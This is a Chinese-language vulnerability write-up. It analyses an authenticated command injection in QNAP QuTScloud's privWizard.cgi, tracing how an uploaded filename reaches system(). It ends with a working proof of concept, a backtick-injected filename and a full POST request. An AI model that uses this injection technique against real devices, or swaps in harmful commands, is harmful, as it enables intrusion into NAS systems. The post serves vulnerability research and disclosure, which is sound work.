8-BitQuest
菜单
[漏洞挖掘]

威联通 QuTScloud privWizard.cgi 命令注入分析

· 1 分钟阅读 · @admin

威联通 QuTScloud 命令注入分析像素封面

威联通 QuTScloud 的 privWizard.cgi 在处理上传文件名时把用户输入拼进了 system() 调用。影响版本为 c5.0.1.2148 build 20220905,漏洞类型是命令注入,需要先登录。

官网固件页面:威联通固件下载页

漏洞文件位于 /home/httpd/cgi-bin/priv/privWizard.cgi。反编译后,入口 main 通过 CGI_Find_Parameter 读取请求参数,wiz_func 决定后续走到哪个处理函数。

main 与 wiz_func 分发

对应上传逻辑的函数是 upload_dfs_file。

upload_dfs_file

sub_41A660 负责处理上传文件。

sub_41A660 处理上传文件

sub_41A5A0 把上传文件名拼到 tmp/ 后面。

文件名拼接

拼接结果随后交给 system() 做删除。文件名来自请求,没有作为纯数据对待,因此删除命令的参数可以被请求内容改变。

system 删除拼接后的路径

下面两张图是当时在测试环境里确认命令已经被带入文件名处理流程,以及文件系统上出现了预期目录。可复现的 payload 和完整 POST 包放在文末。

上传请求中的 filename 字段

文件系统中出现新建目录

可复现的 Payload

filename=""`mkdir zz11`1.zip

POC

POST /cgi-bin/priv/privWizard.cgi?sid=9k3d3yfx&wiz_func=upload_dfs_file HTTP/1.1
Host: 192.168.190.240:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------309200216432780457452923916228
Content-Length: 446
Origin: http://192.168.190.240:8080
Connection: close
Referer: http://192.168.190.240:8080/cgi-bin/
Cookie: DESKTOP=1; nas_wfm_tree_x=200; WINDOW_MODE=1; remeber=1; isvideoenabled=true; NAS_PW_STATUS=0; nas_1_u=YWRtaW4=; showQuickStart=1; QT=1673271841194; NAS_USER=admin; NAS_SID=9k3d3yfx; home=1

-----------------------------309200216432780457452923916228
Content-Disposition: form-data; name="fileToUpload"; filename=""`mkdir zz11`1.zip"
Content-Type: application/x-zip-compressed

111111
-----------------------------309200216432780457452923916228--

更多文章